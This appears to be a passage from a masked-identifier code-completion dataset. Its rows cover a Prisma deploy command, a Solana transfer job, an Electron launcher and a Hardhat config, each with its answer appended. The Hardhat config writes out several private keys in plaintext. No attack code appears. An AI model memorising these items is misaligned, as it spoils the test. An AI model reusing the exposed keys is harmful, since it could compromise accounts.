    /**
     * Abort when no cluster is set
     */
    if (cluster) {
      this.env.setActiveCluster(cluster)
    } else {
      throw new Error(`Cluster ${cluster} does not exist.`)
    }

    /**
     * Make sure we're logged in when a non-public cluster has been chosen
     */
    if (cluster && !cluster.local && cluster.isPrivate) {
      if (!workspace) {
        workspace = this.definition.getWorkspace()
      }
      if (
        workspace &&
        !workspace.startsWith('public-') &&
        (!this.env.cloudSessionKey || this.env.cloudSessionKey === '')
      ) {
        await this.client.login()
        cluster.clusterSecret = this.env.cloudSessionKey
      }
    }

    await this.client.initClusterClient(cluster, serviceName, stage, workspace!)

    let projectNew = false
    debug('checking if project exists')
    if (!await this.projectExists(cluster, serviceName, stage, workspace!)) {
      debug('adding project')
      await this.addProject(cluster, serviceName, stage, workspace!)
      projectNew = true
    }

    await this.deploy(
      stage,
      serviceName,
      cluster,
      cluster.name,
      force,
      dryRun,
      projectNew,
      workspace!,
    )

    if (watch) {
      this.out.log('Watching for change...')
      chokidar
        .watch(this.config.definitionDir, { ignoreInitial: true })
        .on('all', () => {
          setImmediate(async () => {
            if (!this.deploying) {
              await this.definition.load(this.flags)
              await this.deploy(
                stage,
                serviceName,
                cluster,
                cluster.name,
                force,
                dryRun,
                false,
                workspace!,
              )
              this.out.log('Watching for change...')
            }
          })
        })
    }
  }
  
  private getSillyName() {
    return `${slugify(sillyname()).split('-')[0]}-${Math.round(
      Math.random() * 1000,
    )}`
  }

  private getPublicName() {
    return `public-${this.getSillyName()}`
  }

  private async projectExists(
    cluster: Cluster,
    name: string,
    stage: string,
    workspace: string | null,
  ): Promise<boolean> {
    try {
      return Boolean(
        await this.client.getProject(
          concatName(cluster, name, workspace),
          stage,
        ),
      )
    } catch (e) {
      return false
    }
  }

  private async addProject(
    cluster: Cluster,
    name: string,
    stage: string,
    workspace: string | null,
  ): Promise<void> {
    this.out.action.start(`Creating stage ${stage} for service ${name}`)
    const createdProject = await this.client.addProject(
      concatName(cluster, name, workspace),
      stage,
      this.definition.secrets,
    )
    this.out.action.stop()
  }

  private async deploy(
    stageName: string,
    serviceName: string,
    cluster: Cluster,
    completeClusterName: string,
    force: boolean,
    dryRun: boolean,
    projectNew: boolean,
    workspace: string | null,
  ): Promise<void> {
    this.deploying = true
    let before = Date.now()

    const b = s => `\`${chalk.bold(s)}\``

    const verb = dryRun ? 'Performing dry run for' : 'Deploying'

    this.out.action.start(
      `${verb} service ${b(serviceName)} to stage ${b(stageName)} to server ${b(
        completeClusterName,
      )}`,
    )

    const migrationResult: DeployPayload = await this.client.deploy(
      concatName(cluster, serviceName, workspace),
      stageName,
      this.definition.typesString!,
      dryRun,
      this.definition.getSubscriptions(),
      this.definition.secrets,
      force,
    )
    this.out.action.stop(prettyTime(Date.now() - before))
    this.printResult(migrationResult, force)

    if (
      migrationResult.migration &&
      migrationResult.migration.revision > 0 &&
      !dryRun
    ) {
      before = Date.now()
      this.out.action.start(
        `Applying changes`,
        this.getProgress(0, migrationResult.migration.steps.length),
      )
      let done = false
      while (!done) {
        const revision = migrationResult.migration.revision
        const migration = await this.client.getMigration(
          concatName(cluster, serviceName, workspace),
          stageName,
        )

        if (migration.errors && migration.errors.length > 0) {
          await this.out.error(migration.errors.join('\n'))
        }

        if (migration.applied === migrationResult.migration.steps.length) {
          done = true
        }
        this.out.action.status = this.getProgress(
          migration.applied,
          migrationResult.migration.steps.length,
        )
        await new Promise(r => setTimeout(r, 500))
      }

      this.out.action.stop(prettyTime(Date.now() - before))
    }
    // TODO move up to if statement after testing done
    if (migrationResult.migration) {
      if (
        this.definition.definition!.seed &&
        !this.flags['no-seed'] &&
        projectNew
      ) {
        this.printHooks()
        await this.seed(
          cluster,
          projectNew,
          serviceName,
          stageName,
          this.definition.getWorkspace(),
        )
      }

      // no action required
      this.deploying = false
      if (migrationResult.migration) {
        this.printEndpoints(
          cluster,
          serviceName,
          stageName,
          this.definition.getWorkspace() || undefined,
        )
      }
    }
    const hooks = this.definition.getHooks('post-deploy')
    if (hooks.length > 0) {
      this.out.log(`\n${chalk.bold('post-deploy')}:`)
    }
    for (const hook of hooks) {
      const splittedHook = hook.split(' ')
      this.out.action.start(`Running ${chalk.cyan(hook)}`)
      const child = spawnSync(splittedHook[0], splittedHook.slice(1))
      const stderr = child.stderr && child.stderr.toString()
      if (stderr && stderr.length > 0) {
        this.out.log(chalk.red(stderr))
      }
      const stdout = child.stdout && child.stdout.toString()
      if (stdout && stdout.length > 0) {
        this.out.log(stdout)
      }
      const { status, error } = child
      if (error || status != 0) {
        if (error) {
          this.out.log(chalk.red(error.message))
        }
        this.out.action.stop(chalk.red(figures.cross))
      } else {
        this.out.action.stop()
      }
    }
  }

  private printHooks() {
    if (!this.showedHooks) {
      this.out.log(chalk.bold(`\nHooks:`))
      this.showedHooks = true
    }
  }

  private getProgress(applied: number, of: number) {
    return this.out.color.prisma(`(${applied}/${of})`)
  }

  private async seed(
    cluster: Cluster,
    projectNew: boolean,
    serviceName: string,
    stageName: string,
    workspace: string | null,
  ) {
    const seeder = new Seeder(
      this.definition,
      this.client,
      this.out,
      this.config,
    )
    const before = Date.now()
    const from =
      this.definition.definition!.seed &&
      this.definition.definition!.seed!.import
        ? ` from \`${this.definition.definition!.seed!.import}\``
        : ''
    this.out.action.start(`Importing seed dataset${from}`)
    await seeder.seed(concatName(cluster, serviceName, workspace), stageName)
    this.out.action.stop(prettyTime(Date.now() - before))
  }

  /**
   * Returns true if there was a change
   */
  private async generateSchema(
    cluster: Cluster,
    serviceName: string,
    stageName: string,
  ): Promise<boolean> {
    const schemaPath =
      getSchemaPathFromConfig() || this.definition.definition!.schema
    if (schemaPath) {
      this.printHooks()
      const schemaDir = path.dirname(schemaPath)
      fs.mkdirpSync(schemaDir)
      const token = this.definition.getToken(serviceName, stageName)
      const before = Date.now()
      this.out.action.start(`Checking, if schema file changed`)
      const schemaString = await fetchAndPrintSchema(
        this.client,
        concatName(cluster, serviceName, this.definition.getWorkspace()),
        stageName,
        token,
      )
      this.out.action.stop(prettyTime(Date.now() - before))
      const oldSchemaString = fs.pathExistsSync(schemaPath)
        ? fs.readFileSync(schemaPath, 'utf-8')
        : null
      if (schemaString !== oldSchemaString) {
        const beforeWrite = Date.now()
        this.out.action.start(`Writing database schema to \`${schemaPath}\` `)
        fs.writeFileSync(schemaPath, schemaString)
        this.out.action.stop(prettyTime(Date.now() - beforeWrite))
        return true
      }
    }

    return false
  }

  private printResult(payload: DeployPayload, force: boolean) {
    if (payload.errors && payload.errors.length > 0) {
      this.out.log(`${chalk.bold.red('\nErrors:')}`)
      this.out.migration.printErrors(payload.errors)
      this.out.log(
        '\nDeployment canceled. Please fix the above errors to continue deploying.',
      )
      this.out.log(
        'Read more about deployment errors here: https://bit.ly/prisma-force-flag',
      )

      this.out.exit(1)
    }

    if (payload.warnings && payload.warnings.length > 0) {
      this.out.log(`${chalk.bold.yellow('\nWarnings:')}`)
      this.out.migration.printWarnings(payload.warnings)

      if (force) {
        this.out.log('\nIgnoring warnings because you provided --force.')
      } else {
        this.out.log(
          `\nIf you want to ignore the warnings, please deploy with the --force flag: ${chalk.cyan(
            '$ prisma deploy --force',
          )}`,
        )
        this.out.log(
          'Read more about deployment warnings here: https://bit.ly/prisma-force-flag',
        )
        this.out.exit(1)
      }
    }

    if (!payload.migration || payload.migration.steps.length === 0) {
      this.out.log('Service is already up to date.')
      return
    }

    if (payload.migration.steps.length > 0) {
      // this.out.migrati
      this.out.log('\n' + chalk.bold('Changes:'))
      this.out.migration.printMessages(payload.migration.steps)
      this.out.log('')
    }
  }

  private printEndpoints(
    cluster: Cluster,
    serviceName: string,
    stageName: string,
    workspace?: string,
  ) {
    this.out.log(`\n${chalk.bold(
      'Your Prisma GraphQL database endpoint is live:',
    )}

  ${chalk.bold('HTTP:')}  ${cluster.getApiEndpoint(
      serviceName,
      stageName,
      workspace,
    )}
  ${chalk.bold('WS:')}    ${cluster.getWSEndpoint(
      serviceName,
      stageName,
      workspace,
    )}
`)
  }

  private getCloudClusters(): Cluster[] {
    return this.env.clusters.filter(c => c.shared || c.isPrivate)
  }

  private async clusterSelection(loggedIn: boolean): Promise<string> {
    debug({ loggedIn })

    const choices = loggedIn
      ? await this.getLoggedInChoices()
      : this.getPublicChoices()

    const question = {
      name: 'cluster',
      type: 'list',
      message: `Please choose the cluster you want to deploy to`,
      choices,
      pageSize: 9,
    }

    const { cluster } = await this.out.prompt(question)

    if (cluster === 'login') {
      await this.client.login()
      this.loggedIn = true
      return this.clusterSelection(true)
    }

    return cluster
  }

  private getLocalClusterChoices(): string[][] {
    // const clusters = this.env.clusters.filter(c => !c.shared && !c.isPrivate)

    // const clusterNames: string[][] = clusters.map(c => {
    //   const note =
    //     c.baseUrl.includes('localhost') || c.baseUrl.includes('127.0.0.1')
    //       ? 'Local cluster (requires Docker)'
    //       : 'Self-hosted'
    //   return [c.name, note]
    // })

    // if (clusterNames.length === 0) {
    //   clusterNames.push(['local', 'Local cluster (requires Docker)'])
    // }
    // return clusterNames
    return [['local', 'Local cluster (requires Docker)']]
  }

  private async getLoggedInChoices(): Promise<any[]> {
    const localChoices = this.getLocalClusterChoices()
    // const workspaces = await this.client.getWorkspaces()
    // const clusters = this.env.clusters.filter(
    //   c => c.shared && c.name !== 'shared-public-demo',
    // )
    const combinations: string[][] = []
    const  [MASK]  = this.env.clusters.filter(
      c => c.shared || c.isPrivate,
    )

     [MASK] .forEach(cluster => {
      const label = this.env.sharedClusters.includes(cluster.name)
        ? 'Free development cluster (hosted on Prisma Cloud)'
        : 'Private Prisma Cluster'
      combinations.push([`${cluster.workspaceSlug}/${cluster.name}`, label])
    })

    const allCombinations = [...combinations, ...localChoices]

    return [
      new inquirer.Separator('                     '),
      ...this.convertChoices(allCombinations),
      new inquirer.Separator('                     '),
      new inquirer.Separator(
        chalk.dim(
          `You can learn more about deployment in the docs: http://bit.ly/prisma-graphql-deployment`,
        ),
      ),
    ]
  }

  private convertChoices(
    choices: string[][],
  ): Array<{ value: string; name: string }> {
    const padded = this.out.printPadded(choices, 0, 6).split('\n')
    return padded.map((name, index) => ({
      name,
      value: choices[index][0],
    }))
  }

  private getPublicChoices(): any[] {
    const publicChoices = [
      [
        'prisma-eu1',
        'Public development cluster (hosted in EU on Prisma Cloud)',
      ],
      [
        'prisma-us1',
        'Public development cluster (hosted in US on Prisma Cloud)',
      ],
    ]
    const allCombinations = [...publicChoices, ...this.getLocalClusterChoices()]

    return [
      ...this.convertChoices(allCombinations),
      new inquirer.Separator('                     '),
      {
        value: 'login',
        name: 'Log in or create new account on Prisma Cloud',
      },
      new inquirer.Separator('                     '),
      new inquirer.Separator(
        chalk.dim(
          `Note: When not logged in, service deployments to Prisma Cloud expire after 7 days.`,
        ),
      ),
      new inquirer.Separator(
        chalk.dim(
          `You can learn more about deployment in the docs: http://bit.ly/prisma-graphql-deployment`,
        ),
      ),
      new inquirer.Separator('                     '),
    ]
  }
}

export function isValidProjectName(projectName: string): boolean {
  return /^[A-Z](.*)/.test(projectName)
}

function slugify(text) {
  return text
    .toString()
    .toLowerCase()
    .replace(/\s+/g, '-') // Replace spaces with -
    .replace(/[^\w\-]+/g, '') // Remove all non-word chars
    .replace(/\-\-+/g, '-') // Replace multiple - with single -
    .replace(/^-+/, '') // Trim - from start of text
    .replace(/-+$/, '') // Trim - from end of text
}
",remoteClusters
153,"import { Job } from 'bullmq';
import * as web3 from '@solana/web3.js';
import { PrismaClient } from '@prisma/client';
import { Transfer } from '../types/job';
import logger from '../utils/logger';
import { decryptKey } from '../utils/cryptdb';
// import config from '../config';

const SOLANA_NODE_URL = process?.env?.SOLANA_NODE_URL;
const CLUSTER = process?.env?.CLUSTER;
const prisma = new PrismaClient();

// eslint-disable-next-line consistent-return
// eslint-disable-next-line @typescript-eslint/explicit-module-boundary-types
export default async (job: Job<Transfer>) => {
 // Connect to cluster
 const  [MASK]  = new web3.Connection(
  SOLANA_NODE_URL || (CLUSTER !== 'mainnet-beta' ? web3.clusterApiUrl('devnet') : web3.clusterApiUrl('mainnet-beta')),
  'confirmed',
 );

 try {
  const wallet = await prisma.wallet.findFirst({
   where: {
    publicKey: job?.data?.from as unknown as string,
   },
  });

  if (!wallet) {
   throw new Error('Wallet not found');
  }

  const decryptedKey = await decryptKey(wallet.privateKey);
  const privateKey = new Uint8Array(Buffer.from(decryptedKey, 'base64'));
  const from = web3.Keypair.fromSecretKey(privateKey);

  // Generate a new random public key
  let to = new web3.PublicKey(job.data.to);

  // Add transfer instruction to transaction
  let transaction = new web3.Transaction().add(
   web3.SystemProgram.transfer({
    fromPubkey: from.publicKey,
    toPubkey: to,
    lamports: web3.LAMPORTS_PER_SOL / 1000,
   }),
  );

  // Sign transaction, broadcast, and confirm
  return web3.sendAndConfirmTransaction(
    [MASK] ,
   transaction,
   [from],
  );
 } catch (err) {
  logger.error(err);
  throw err;
 }
};
",connection
154,"import { app, BrowserWindow, screen, Menu, globalShortcut } from 'electron';
import * as path from 'path';
import * as url from 'url';

const axios = require('axios');

let win;
let serve;
let splashWindow;
const apiUrl = 'http://localhost:8080/node/';
const args = process.argv.slice(1);
serve = args.some(val => val === '--serve');
const local = args.some(val => val === '--local');

function startAPI() {
  const exec = require('child_process').exec;
  const defaultJarPath = 'elrond-api-1.0-SNAPSHOT.jar';
  // const macJarPath = `${__dirname}/elrond-api-1.0-SNAPSHOT.jar`;
  const macJarPath = `${__dirname}/Contents/elrond-api-1.0-SNAPSHOT.jar`;
  const  [MASK]  = (process.platform === 'darwin') ? macJarPath : defaultJarPath;

  console.log('=========================');
  console.log('JAR PATH: ', macJarPath);
  console.log('mac PATH: ', macJarPath);
  console.log('Dir PATH: ', __dirname);
  console.log('PATH: ', path);

  console.log('=========================');

  const child = exec('java -jar ' +  [MASK] ,
    function (error, stdout, stderr) {
      console.log('stdout: ' + stdout);
      console.log('stderr: ' + stderr);

      if (error !== null) {
        console.log('exec error: ' + error);
      }
    });
}

function createWindow() {
  const electronScreen = screen;
  const size = electronScreen.getPrimaryDisplay().workAreaSize;


  // Create the browser window.
  win = new BrowserWindow({
    width: 1200,
    height: 600,
    titleBarStyle: 'hidden',
    webPreferences: {
      nodeIntegration: false,
    },
    backgroundColor: '#ffffff',
    show: false
  });

  splashWindow = new BrowserWindow({
    width: 300,
    height: 300,
    transparent: true,
    frame: false,
    alwaysOnTop: true
  });

  splashWindow.loadURL(url.format({
    pathname: path.join(__dirname, 'splash.html'),
    protocol: 'file:',
    slashes: true
  }));

  // Create the Application's main menu
  const template = [
    {
      label: 'Edit',
      submenu: [
        {label: 'Cut', accelerator: 'CmdOrCtrl+X', selector: 'cut:'},
        {label: 'Copy', accelerator: 'CmdOrCtrl+C', selector: 'copy:'},
        {label: 'Paste', accelerator: 'CmdOrCtrl+V', selector: 'paste:'},
      ]
    }
  ];

  const menu = Menu.buildFromTemplate(template);
  Menu.setApplicationMenu(menu);

  // if dev
  if (serve) {
    require('electron-reload')(__dirname, {
      electron: require(`${__dirname}/node_modules/electron`)
    });
    win.loadURL('http://localhost:4200');
    win.webContents.openDevTools();
    // if prod
  } else {
    if (local) {
      win.webContents.openDevTools();
    }

    win.loadURL(url.format({
      pathname: path.join(__dirname, 'dist/index.html'),
      protocol: 'file:',
      slashes: true
    }));
  }

  // Show win when all is set
  win.once('ready-to-show', () => {
    setTimeout(() => {
      splashWindow.destroy();
      win.show();
    }, 1000);
  });

  // Emitted when the window is closed.
  win.on('closed', () => {
    // Dereference the window object, usually you would store window
    // in an array if your app supports multi windows, this is the time
    // when you should delete the corresponding element.
    win = null;
  });

  globalShortcut.register('f5', () => win.reload());

  // startAPI();
}

try {
  // This method will be called when Electron has finished
  // initialization and is ready to create browser windows.
  // Some APIs can only be used after this event occurs.

  app.on('ready', createWindow);

  // Quit when all windows are closed.
  app.on('window-all-closed', () => {
    // On OS X it is common for applications and their menu bar
    // to stay active until the user quits explicitly with Cmd + Q
    axios.get(apiUrl + 'exit')
      .then(res => console.log('axios res: ', res));

    if (process.platform !== 'darwin') {
      app.quit();
    }
  });

  app.on('activate', () => {
    // On OS X it's common to re-create a window in the app when the
    // dock icon is clicked and there are no other windows open.
    if (win === null) {
      createWindow();
    }
  });

} catch (e) {
  // Catch Error
  // throw e;
}
",jarPath
155,"import ""@nomiclabs/hardhat-waffle"";
import ""hardhat-gas-reporter"";
import ""hardhat-typechain"";
import { task } from ""hardhat/config"";

task(""accounts"", ""Prints the list of accounts"", async (args,  [MASK] ) => {
  const accounts = await  [MASK] .ethers.getSigners();

  for (const account of accounts) {
    console.log(account.address);
  }
});

// // This is a sample Buidler task. To learn how to create your own go to
// // https://buidler.dev/guides/create-task.html
// task(""accounts"", ""Prints the list of accounts"", async (taskArgs, bre) => {
//   const accounts = await bre.ethers.getSigners();

//   for (const account of accounts) {
//     console.log(await account.getAddress());
//   }
// });

// You have to export an object to set up your config
// This object can have the following optional entries:
// defaultNetwork, networks, solc, and paths.
// Go to https://buidler.dev/config/ to learn more
module.exports = {
  // This is a sample solc configuration that specifies which version of solc to use
  solidity: {
    version: ""0.8.10"",
    settings: {
      optimizer: {
        enabled: true
      }
    }
  },
  networks: {
    hardhat: {
      mining: {
        auto: false,
        interval: [3000, 6000]
      },
      timeout: 2000000,
      accounts: [
        {
          privateKey:
            ""0xc5e8f61d1ab959b397eecc0a37a6517b8e67a0e7cf1f4bce5591f3ed80199122"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""0xee9d129c1997549ee09c0757af5939b2483d80ad649a0eda68e8b0357ad11131"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""0x275cc4a2bfd4f612625204a20a2280ab53a6da2d14860c47a9f5affe58ad86d4"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""0x2a8aede924268f84156a00761de73998dac7bf703408754b776ff3f873bcec60"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""0x8b24fd94f1ce869d81a34b95351e7f97b2cd88a891d5c00abc33d0ec9501902e"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""0x28d1bfbbafe9d1d4f5a11c3c16ab6bf9084de48d99fbac4058bdfa3c80b2908e"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
